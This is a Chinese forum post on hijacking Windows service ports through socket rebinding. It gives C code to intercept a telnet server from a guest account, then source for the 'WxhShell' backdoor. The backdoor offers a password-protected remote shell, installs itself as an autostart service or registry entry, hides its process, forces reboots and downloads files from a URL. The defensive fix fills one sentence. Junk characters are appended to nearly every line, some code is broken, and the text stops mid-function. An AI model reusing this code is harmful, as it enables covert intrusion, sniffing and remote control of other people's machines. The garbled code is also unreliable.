社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14615阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b#-=Dbe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F9k}zAY\J  
4C[kj  
  saddr.sin_family = AF_INET; 2 ?F?C  
Z.`0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4-BrE&2f  
rgo!t028^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (%'`t(<  
P~84#5R1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z))rk vL%  
N)/7j7c~;  
  这意味着什么?意味着可以进行如下的攻击: c*r@QmB:  
9a#Y D;-p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F. I\?b  
EMPujik-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9"?;H%.  
M?5voV*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cv;2zq=T  
Wcbm,O4u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  drvz [ 9;  
)-m/(-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,#bT  
j$<g8Bg=o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \E6 0  
`_sKR,LhB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XqGa]/;}  
I+QM":2  
  #include #r,!-;^'p  
  #include cd`P'GDF  
  #include r`$P60,@C  
  #include    c_t7<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MO? }$j  
  int main() _q4Yq'dI  
  { Fr-Vq =j&  
  WORD wVersionRequested; k(xB%>ns  
  DWORD ret; Kpkpr`:)]  
  WSADATA wsaData; 9VMk?   
  BOOL val; &;R BG$t  
  SOCKADDR_IN saddr; @YVla !5O@  
  SOCKADDR_IN scaddr; ( G~ME>  
  int err; H6Ytp^~>  
  SOCKET s; _0y]U];ce  
  SOCKET sc; dGUiMix{N  
  int caddsize; WHqw=! G  
  HANDLE mt; 8?rq{&$t  
  DWORD tid;   |n;5D,r0C  
  wVersionRequested = MAKEWORD( 2, 2 ); 0$i\/W+  
  err = WSAStartup( wVersionRequested, &wsaData ); xf?"Q#  
  if ( err != 0 ) { ]z]=?;ty%  
  printf("error!WSAStartup failed!\n"); \TLfLqA  
  return -1; Jpy~5kS  
  } pq%inSY  
  saddr.sin_family = AF_INET; ol~ tfS  
   Y-,S_59  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :QF`Orb!^  
Zq 'FOzs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0d$LUQ't  
  saddr.sin_port = htons(23); h*Mt{A&'.&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s`pdy$  
  { R2Lq??XA=  
  printf("error!socket failed!\n"); xVrLoAw  
  return -1; ]z2x`P^oI  
  } F$'po#  
  val = TRUE; t~$8sG\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^)o]hE|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FxT]*mo  
  { *\_>=sS x;  
  printf("error!setsockopt failed!\n"); [ {HTGz@(  
  return -1; ;Ah eeq746  
  } \mZB*k)+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BjHp3-A'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8bf@<VTO_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b>9?gmR{  
7q{yLcC"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^F- 2tc  
  { '@zMZc!  
  ret=GetLastError(); p}JGx^X ~  
  printf("error!bind failed!\n"); o?+?@Xb'  
  return -1; rHqP[[4B'  
  } a@AIv"q  
  listen(s,2); It VVI"-  
  while(1) p<&>1}j=  
  { Y/LS(b*  
  caddsize = sizeof(scaddr); WEoD ?GLS8  
  //接受连接请求 VA`VDUG,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7jr+jNsowj  
  if(sc!=INVALID_SOCKET) hu7o J H  
  { GnC s_[*&r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *^XMf  
  if(mt==NULL) OB++5Wd  
  { i>C%[dk9  
  printf("Thread Creat Failed!\n");  z@~mu  
  break; 99%R/m  
  } 2IP<6l8N  
  } `-Tb=o}.  
  CloseHandle(mt); ?m9=Me  
  } -=n!k^?lK  
  closesocket(s); EpTc{  
  WSACleanup(); o5YL_=7m  
  return 0; j3S!uA?  
  }   ?T,a(m<i {  
  DWORD WINAPI ClientThread(LPVOID lpParam) "D:?l`\o  
  { fhha-J  
  SOCKET ss = (SOCKET)lpParam; YgtW(j[  
  SOCKET sc; O&#>i]*V  
  unsigned char buf[4096]; Hn/V*RzQ  
  SOCKADDR_IN saddr; =L;g:hc<  
  long num; eT?vZH[N  
  DWORD val; C0khG9,BL  
  DWORD ret; - ^Y\'y2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :G=ol2Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s7\Ee-x)s  
  saddr.sin_family = AF_INET; uz:r'+v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x7i,jMR  
  saddr.sin_port = htons(23); |h&okR+_,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JUJrtK S  
  { 32pPeYxB!-  
  printf("error!socket failed!\n"); bxWzm|  
  return -1; @RCZ![XYWg  
  } k4en/&  
  val = 100; n\$.6 _@x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L+mHeS l  
  { k4!p))ql  
  ret = GetLastError(); WpMm%G~'4t  
  return -1; '5A&c(  
  } <-gGm=R_$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V0*MY{x#S  
  { KI].T+I  
  ret = GetLastError(); x]608I T  
  return -1; +:/.\3v71  
  } Zeq^dV5y77  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \Hq=_}]F  
  { ^* CKx  
  printf("error!socket connect failed!\n"); p  S|  
  closesocket(sc); Mp^G7JY,  
  closesocket(ss); kX*.BZI}C  
  return -1; !<F5W <V  
  } 4tvZJS hV  
  while(1) :c(I-xif  
  { dsK*YY jH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]4'V59\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q4vHsy36  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '$4&q629d  
  num = recv(ss,buf,4096,0); dIA1\;@  
  if(num>0) [(vV45(E  
  send(sc,buf,num,0); NFG~PZ`6R  
  else if(num==0) YpG6p0 nd  
  break; q9\(<<f|  
  num = recv(sc,buf,4096,0); :3b\pEO9\  
  if(num>0) .$+,Y4q~(  
  send(ss,buf,num,0); Ax9A-|  
  else if(num==0) 3GMrdG?Y  
  break; #U vWS  
  } cK IA.c}N  
  closesocket(ss); n:}'f- :T  
  closesocket(sc); <2LUq@Pg  
  return 0 ; > lI2r}  
  } /8,cF7XL*  
^a|  
0&3zBL%Bo  
========================================================== -AQ 7Bd  
M(ie1Ju  
下边附上一个代码,,WXhSHELL $_|jI ^  
n8q%>.i7  
========================================================== Z5*O\kJv  
/<J5?H  
#include "stdafx.h" (m')dSZ  
3g0v,7,Zv  
#include <stdio.h> YdYaLTz  
#include <string.h> 3=0b  
#include <windows.h> b8 6c[2  
#include <winsock2.h> Ng*O/g`%L  
#include <winsvc.h> y+7A?"s)  
#include <urlmon.h> >QBDxm  
iE]^ 6i  
#pragma comment (lib, "Ws2_32.lib") @y|JIBBRc  
#pragma comment (lib, "urlmon.lib") :Yi 4Ia  
"msPH<D  
#define MAX_USER   100 // 最大客户端连接数 ir_X65l/2  
#define BUF_SOCK   200 // sock buffer N`vPt?@  
#define KEY_BUFF   255 // 输入 buffer < [17&F0  
!3"Hn  
#define REBOOT     0   // 重启 dAaxbP|  
#define SHUTDOWN   1   // 关机 o KY0e&5  
J|8 u  
#define DEF_PORT   5000 // 监听端口 JK'tdvs~  
[h.i,%Ua"P  
#define REG_LEN     16   // 注册表键长度 Zj)A%WTD,  
#define SVC_LEN     80   // NT服务名长度 kcP&''  
.|y{1?f_  
// 从dll定义API #BIY[{!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NRs%q}lX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OjK+`D_C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tq%##  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~-A"M_n ?  
vtq47i  
// wxhshell配置信息 Nu><r  
struct WSCFG { 3IoN.  
  int ws_port;         // 监听端口 \~T&C5  
  char ws_passstr[REG_LEN]; // 口令 3\|PwA9fN8  
  int ws_autoins;       // 安装标记, 1=yes 0=no f/Q/[2t  
  char ws_regname[REG_LEN]; // 注册表键名 u TmT'u:}  
  char ws_svcname[REG_LEN]; // 服务名 \obM}caT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4@@gC&:Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zH *7!)8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *{=q:E$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no - ysd`&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" raZ0B,;eFu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?!bA#aSbl5  
T 6=~vOzTJ  
}; 8]JlYe  
"g1Fg.o  
// default Wxhshell configuration W"s)s  
struct WSCFG wscfg={DEF_PORT, D Z=OZ.v  
    "xuhuanlingzhe", Gx(%AB~9$  
    1, WAVEwA`r  
    "Wxhshell", iv6bXV'N  
    "Wxhshell", %vU*4mH  
            "WxhShell Service", 3`ze<K((  
    "Wrsky Windows CmdShell Service", _2xYDi  
    "Please Input Your Password: ", okBaQH2lUl  
  1, B,A\/%<  
  "http://www.wrsky.com/wxhshell.exe", rTeADu_vf  
  "Wxhshell.exe" "':SWKuMx  
    }; px^brzLQo  
oN(F$Nvk  
// 消息定义模块 e!4Kl:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1tH#QZIT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z| zd=3c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uJJP<mDgA  
char *msg_ws_ext="\n\rExit."; DjiWg(X  
char *msg_ws_end="\n\rQuit."; `^DP<&{  
char *msg_ws_boot="\n\rReboot..."; bE"J&;|  
char *msg_ws_poff="\n\rShutdown..."; 5pq9x4&  
char *msg_ws_down="\n\rSave to "; '>% c@C[  
lp5 b&I_  
char *msg_ws_err="\n\rErr!"; ,fyqa  
char *msg_ws_ok="\n\rOK!"; sV`XJ9e|  
Aoy=gK  
char ExeFile[MAX_PATH]; <##aD3)  
int nUser = 0; w6[$vib'  
HANDLE handles[MAX_USER]; o q cu<]  
int OsIsNt; P1"g62R  
9~}8?kPNw=  
SERVICE_STATUS       serviceStatus; Q0TKM >  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6`)Ss5jzk  
NqN9  
// 函数声明  83:qIfF  
int Install(void); \3cg\Q+~  
int Uninstall(void); Cta!"=\  
int DownloadFile(char *sURL, SOCKET wsh); =5M '+>  
int Boot(int flag); Q8bn|#`  
void HideProc(void); 6hqqZ  
int GetOsVer(void); Y67i\U>?  
int Wxhshell(SOCKET wsl); %* @hS`  
void TalkWithClient(void *cs); &0J/V>k  
int CmdShell(SOCKET sock); 6X$iTJ[\x  
int StartFromService(void); fq0[7Yb  
int StartWxhshell(LPSTR lpCmdLine); 13I~   
lziC.Dpa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ` aaT #r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .%mjE'  
suZ`  
// 数据结构和表定义 /S%!{;:  
SERVICE_TABLE_ENTRY DispatchTable[] = H=5#cPI#(^  
{ v0 |"[qGb  
{wscfg.ws_svcname, NTServiceMain}, t Ow[  
{NULL, NULL} b/eo]Id]  
}; Jv:|J DZ'  
t($z+ C<  
// 自我安装 U,nQnD"!t&  
int Install(void) BC1P3Sk 6X  
{ }/Y)^  
  char svExeFile[MAX_PATH]; A>}]=Ii/  
  HKEY key; @#| R{5=+  
  strcpy(svExeFile,ExeFile); F2["AkNM  
"4i_}  
// 如果是win9x系统,修改注册表设为自启动 (OHd} YQ  
if(!OsIsNt) { :,=Z)e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & /lmg!6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /M~rmIks  
  RegCloseKey(key); 8R.`*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D{s4Bo-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NKw}VW'|  
  RegCloseKey(key); OGU#%5"<  
  return 0; |n.ydyu`  
    } | b)N;t  
  } +@K8:}lOW  
} Z!qF0UDj  
else { }ilX 2s?>  
:a9$f8*b  
// 如果是NT以上系统,安装为系统服务 " qrL:,   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F84?Mi{r2  
if (schSCManager!=0) , MU9p*  
{ $6\W8v  
  SC_HANDLE schService = CreateService Jl,\^)DSw  
  ( n!y}p q6  
  schSCManager, 9i#K{CkC|  
  wscfg.ws_svcname, .ZOyZnr Z  
  wscfg.ws_svcdisp, 6c&OR2HGqO  
  SERVICE_ALL_ACCESS, W[j7Vi8v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XY`2>7  
  SERVICE_AUTO_START, @7<m.?A!  
  SERVICE_ERROR_NORMAL, >eaK@u-'0  
  svExeFile, V3}$vKQ  
  NULL, =6+j Po{F  
  NULL, 7S9Q{  
  NULL, XvW $B|  
  NULL, -<B{?D  
  NULL NbW5a3=  
  ); p=J9N-EM  
  if (schService!=0) ,<?M/'4}G  
  { a fhZM$  
  CloseServiceHandle(schService); 9<I;9.1S?^  
  CloseServiceHandle(schSCManager); 6u v'{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fgg4QF  
  strcat(svExeFile,wscfg.ws_svcname); _d/ZaCx'i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mt`XHXTp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #n}n %  
  RegCloseKey(key); H[8P]"*z*i  
  return 0; Li\BRlebR{  
    } 1_.#'U>  
  } uu582%tiG  
  CloseServiceHandle(schSCManager); B 9AE*  
} W4(O2RU  
} [u2)kH$  
6 _\j_$  
return 1; ihdtq  
} 3$ 1 z  
'$n#~/#}  
// 自我卸载 )hai?v~g  
int Uninstall(void) m =2e1wc  
{ LlG~aGhel  
  HKEY key; =Z(#j5TGvH  
Bh,LJawE  
if(!OsIsNt) { ^@..\X9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +bK.{1  
  RegDeleteValue(key,wscfg.ws_regname); mg^\"GC*8  
  RegCloseKey(key); #`H^8/!e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gJ>HFid_C  
  RegDeleteValue(key,wscfg.ws_regname); Af"vSL  
  RegCloseKey(key); "A?_)=zZ  
  return 0; '%"#]  
  } <=,KP)   
} >h m<$3  
} (&u)F B*  
else { m=< ;)  
r3b~|O^}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &c!=< <5M  
if (schSCManager!=0) @*c ) s_  
{ ".SQ*'Oc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bz? *#S  
  if (schService!=0) QYL ';  
  { z[wk-a+w  
  if(DeleteService(schService)!=0) {  VgNt  
  CloseServiceHandle(schService); q}["Nww-  
  CloseServiceHandle(schSCManager); jTx,5s-  
  return 0; ZWJFd(6  
  }  Dk fw*Oo  
  CloseServiceHandle(schService); TY|]""3 f9  
  } f V.(v&  
  CloseServiceHandle(schSCManager); wFaWLC|&  
} N7xkkAS{  
} :Y[r^=>  
Yg#)@L  
return 1; s"?&`S  
} xf@D<}~1  
IczEddt@'  
// 从指定url下载文件 ?D6rFUs9;  
int DownloadFile(char *sURL, SOCKET wsh) Pz"!8b-MN  
{ _dEf@==  
  HRESULT hr; 9D_4]'KG  
char seps[]= "/"; 2aN  
char *token; S-h1p`  
char *file; ud-.R~f{e  
char myURL[MAX_PATH]; 1q! 6Sny@  
char myFILE[MAX_PATH]; GJqSNi}  
~I>B5^3  
strcpy(myURL,sURL); QE5 85s5  
  token=strtok(myURL,seps); 2'J.$ h3  
  while(token!=NULL) $sO}l  
  { XI,F^K  
    file=token; qD4e] 5  
  token=strtok(NULL,seps); ^dP@QMly6  
  } R#bg{|  
o=_4v ^  
GetCurrentDirectory(MAX_PATH,myFILE); <..%@]+  
strcat(myFILE, "\\"); |[ |X  
strcat(myFILE, file); q#PGcCtu  
  send(wsh,myFILE,strlen(myFILE),0); MT#9x>  
send(wsh,"...",3,0); nZN]Q9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "O|fX\}5  
  if(hr==S_OK) $(}kau  
return 0; Y^S0K'N  
else W.n@  
return 1; c uquA ~  
a(8]y.`Tv  
} G$4lH>A&  
'eqvK|Uj:  
// 系统电源模块 4aB`wA^x  
int Boot(int flag) Y@u{73H  
{ hv .Mf.m  
  HANDLE hToken; $Y aL3n  
  TOKEN_PRIVILEGES tkp; 4Df TVO"h  
&H5 6mL{  
  if(OsIsNt) { > KH4X:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j&m<=-q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xyz-T1ib  
    tkp.PrivilegeCount = 1; 5 |C;]pq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n]coqJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8yFD2(#  
if(flag==REBOOT) { Zml9 ndzT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8N-~.p  
  return 0; kC9A  
} `Xmpm4 ]  
else { O t `}eL-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h/(9AO}t  
  return 0; 3[aJ=5  
} i$:CGUb  
  } 5'V'~Q%  
  else { r?/>t1Z  
if(flag==REBOOT) { HNjkRl)QR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2 >xV&  
  return 0; Gh|1%g"gm  
} +S%@/q  
else { <)n   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #^#)OQq]  
  return 0; Z@C D1+G  
} s9`T%pg  
} NK#Dq&W+&  
[EGE|   
return 1; $X*$,CCIB  
} u{p\8v%7  
Bdbw!zRR$  
// win9x进程隐藏模块 JBUJc  
void HideProc(void) " 31C8  
{ <O\z`aA'q  
FT (EH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [V jd )%  
  if ( hKernel != NULL ) vlj|[joXw  
  { 4?yc/F=kI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;-]f4O8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^2^ptQj  
    FreeLibrary(hKernel); |+`hSA  
  } ^ACp_RM  
,$;CII v  
return; At bqj?  
} 4qm5`o\hb  
+Qc^A  
// 获取操作系统版本 p Y>yJ)  
int GetOsVer(void) Ca1)>1 Vz  
{ u5CT7_#)  
  OSVERSIONINFO winfo; o!\O)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]B,S<*h  
  GetVersionEx(&winfo); 0|^x[dh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %] #; ~I%  
  return 1; vCpi|a_eCu  
  else am"/Anml|  
  return 0; *10e)rzM  
} =v;-{oN!  
` chf8  
// 客户端句柄模块 nev*TYY?A  
int Wxhshell(SOCKET wsl) @JEr/yy  
{ ;D^)^~7dh  
  SOCKET wsh; l E&hw  
  struct sockaddr_in client; s*8hN*A/,  
  DWORD myID; D 1hKjB&  
`jZX(H   
  while(nUser<MAX_USER) MZd\.]G@  
{ *UyV@  
  int nSize=sizeof(client); nL:vRJr-$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4 ^+hw;  
  if(wsh==INVALID_SOCKET) return 1; ASYUKh,h  
\ qs6%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Iiy:<c  
if(handles[nUser]==0) VUnEI oKM  
  closesocket(wsh); e:,.-Kvzp`  
else ?xf;#J+{8  
  nUser++; cLYc""=  
  } Sm Ei _u]'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f<}!A$wd  
n]$vCP  
  return 0; 5AjK7[<L  
} |@@mq!>-  
./fEx 'E  
// 关闭 socket C3b'Q  
void CloseIt(SOCKET wsh) y\S7oD(OR  
{ 5~44R@`  
closesocket(wsh); )Xh_q3=  
nUser--; 5PPy+36<~  
ExitThread(0); eY(usK  
} U1"t|KW8  
`?D_=Gw  
// 客户端请求句柄 V!opnLatYS  
void TalkWithClient(void *cs) -DuiK:mp  
{ *g,?13Q_  
P5d@-l%}  
  SOCKET wsh=(SOCKET)cs; :O!G{./(_  
  char pwd[SVC_LEN]; nEp'l.T  
  char cmd[KEY_BUFF]; |,7J!7T(I  
char chr[1]; ILO+=xU  
int i,j; LQh\j|e9  
F d\XDc[g  
  while (nUser < MAX_USER) { v]BQIE?R /  
JyqFFZ&  
if(wscfg.ws_passstr) { jo|q,t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;OPCBdr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z*TW;h0ZQ3  
  //ZeroMemory(pwd,KEY_BUFF); _kx  
      i=0; j0%0yb{-^  
  while(i<SVC_LEN) { TcP1"wc  
=Hx~]1  
  // 设置超时 /-hF<oNQ  
  fd_set FdRead; hZ'oCRM  
  struct timeval TimeOut; QlS5B.h,  
  FD_ZERO(&FdRead); x ?V/3zW  
  FD_SET(wsh,&FdRead); nfJ8Rt   
  TimeOut.tv_sec=8; 3'"M31iA  
  TimeOut.tv_usec=0; op|mRJBq;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~4>Xi* B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {4QOUqAu  
<{U{pCT%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fm;)7.% >  
  pwd=chr[0]; @\D D|o67  
  if(chr[0]==0xd || chr[0]==0xa) { Ad,r(0a LZ  
  pwd=0; hKTg~y^  
  break; >4ct[fW+  
  } Ds G *  
  i++; Me}TW!GC  
    } eTF8B<?  
PD}R7[".>  
  // 如果是非法用户,关闭 socket _RW[]MN3*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %)/f; T6  
} ).]m@g:ew  
{\aSEE /'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @ |GeR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jSFN/C.9h  
46zaxcY<!  
while(1) { {IMzR'PN  
0lRH Yu  
  ZeroMemory(cmd,KEY_BUFF); Z8&C-yCC  
sv;zvEn;-L  
      // 自动支持客户端 telnet标准   ZW?7g+P  
  j=0; 0v@/I<  
  while(j<KEY_BUFF) { AIm$in`P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jOb[h=B"  
  cmd[j]=chr[0]; nP3GI:mjL  
  if(chr[0]==0xa || chr[0]==0xd) { |wJZU  
  cmd[j]=0; @:7gHRJ!  
  break; <nvWC/LU  
  } 99!{[gOv  
  j++; 3] qlz?5  
    } O&,O:b:@  
xplo Fw~  
  // 下载文件 9 <KtI7  
  if(strstr(cmd,"http://")) { O$Vm#|$sq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gFT~\3j p=  
  if(DownloadFile(cmd,wsh)) t%U[\\ic  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A(n=kx  
  else :6u3Mj{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e9W7ke E*  
  } \B2d(=~4  
  else { O^}v/}d  
|mk}@OEf  
    switch(cmd[0]) { LO]6Xd"  
  ]|N4 #4  
  // 帮助 j#e.rNG  
  case '?': { #eC;3Kq#-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;:c%l.Y2  
    break; B Z?W>'B%$  
  } p? ?/r  
  // 安装 O|Ic[XfLx  
  case 'i': { C|f7L>qe  
    if(Install()) tHtV[We.:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Tj"Fl\h  
    else <M,H9^&#l3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r.W,-%=bL  
    break; rh`.$/^  
    } ?4ILl>*  
  // 卸载 B#aH\$_U  
  case 'r': { h_~|O [5|)  
    if(Uninstall()) R*@[P g*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &^IcL!t[  
    else EB>B,#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]zyX@=mM  
    break; L)lQ&z?  
    } OF&h=1De,  
  // 显示 wxhshell 所在路径 V->%)d3i  
  case 'p': { b!]0mXU  
    char svExeFile[MAX_PATH]; ^W"Q (sh  
    strcpy(svExeFile,"\n\r"); % kx ^/DH  
      strcat(svExeFile,ExeFile); !&`\ LJ=j  
        send(wsh,svExeFile,strlen(svExeFile),0); 5$oewjLO  
    break; z8[H:W#G  
    } <{/;1Dru  
  // 重启 ch>Vv"G>  
  case 'b': { lV<Tsk'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 20VVOnDY  
    if(Boot(REBOOT)) Lq-33#n/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:9Ir^  
    else { A*;?U2  
    closesocket(wsh); cVay=5].  
    ExitThread(0); -@L's{J{M  
    } ?Hi}nsw  
